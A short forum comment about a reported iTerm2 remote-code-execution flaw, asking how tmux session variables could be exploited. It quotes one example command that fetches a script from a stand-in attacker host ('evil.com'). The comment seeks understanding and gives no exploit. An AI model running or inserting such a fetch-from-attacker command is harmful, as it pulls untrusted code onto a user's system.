News for hackers. Stuff that matters.

ji329v089sdjo

ji329v089sdjo on Hacker News

Re:Critical Security Issue Identified in iTerm2 on Thursday October 10, 2019 @12:16AM (#21210829)
How does this exploit work?

I looked through https://github.com/gnachman/iTerm2/commit/538d570ea54614d3a2... which appears to do some changing of how tmux variables are hanlded/stored.

Is the vulnerability that tmux session variable names and other session values are untrusted user input?

How does a general command like `curl evil.com/script` turn into an RCE here?